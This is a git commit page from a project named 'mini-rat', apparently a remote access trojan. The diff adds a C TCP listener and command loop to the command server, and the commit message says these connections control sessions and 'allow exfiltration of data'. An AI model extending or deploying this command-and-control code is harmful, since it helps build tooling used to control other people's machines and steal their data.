diff options
author | Danny Holman <dholman@gymli.org> | 2023-09-29 09:24:21 -0500 |
---|---|---|
committer | Danny Holman <dholman@gymli.org> | 2023-09-29 09:24:21 -0500 |
commit | f5b7f8b3f466fdf7acb57d9bc8fcc12c65080f67 (patch) | |
tree | b5b66ad9fe6af707b6791893499056ee8c5fd1a9 /server/src/server.c | |
parent | 27f3d76e8a1c4c4f5e301fa45a33cb095c1c9df5 (diff) |
server: implement remote control connections
Implement a series of functions that facilitate remote control
connections, i.e. connections that control session information, allow
exfiltration of data, etc. from the command server.
Signed-off-by: Danny Holman <dholman@gymli.org>
Diffstat (limited to 'server/src/server.c')
-rw-r--r-- | server/src/server.c | 50 |
1 files changed, 49 insertions, 1 deletions
diff --git a/server/src/server.c b/server/src/server.c index 4ed8af9..9a7fe62 100644 --- a/server/src/server.c +++ b/server/src/server.c @@ -3,7 +3,55 @@ #include <logging.h> #include <mini-rat.h> -pthread_mutex_t sock_mutex; +void* control_listener(void *port) { + uint16_t port_num = *(int*)port; + int server_sock = socket(PF_INET, SOCK_STREAM, 0); + struct sockaddr_in client_name; + unsigned int client_name_len = sizeof(client_name); + + struct sockaddr_in name; + memset(&name, 0, sizeof(name)); + name.sin_family = AF_INET; + name.sin_port = htons(port_num); + name.sin_addr.s_addr = htons(INADDR_ANY); + if (bind(server_sock, (struct sockaddr*)&name, sizeof(name)) < 0) { + log_msg(LOG_SEVERE, "Cannot bind to port %d\n", port_num); + return NULL; + } + listen(server_sock, 5); + log_msg(LOG_INFO, "Control listener running on port %d\n", port_num); + + char *ip = NULL; + int client_sock = 0; + pthread_t newthread; + while ((client_sock = accept(server_sock, (struct sockaddr*)&client_name, &client_name_len))) { + ip = inet_ntoa(client_name.sin_addr); + log_msg(LOG_INFO, "New control connection opened from %s\n", ip); + pthread_create(&newthread, NULL, control_worker, (void*)&client_sock); + pthread_detach(newthread); + } + + close_logfile(); + close(server_sock); + return 0; +} + +void* control_worker(void *sock_desc) { + int sock = *(int*)sock_desc; + + char buffer[4096]; + dprintf(sock, "mini-rat> "); + while (recv(sock, buffer, 4096, 0) > 0) { + if (strncmp(buffer, "exit", 4) == 0) + break; + parse_cmd(sock, buffer); + dprintf(sock, "mini-rat> "); + memset(buffer, 0, 4096); + } + + close(sock); + return 0; +} void* listener(void *port) { uint16_t port_num = *(int*)port; |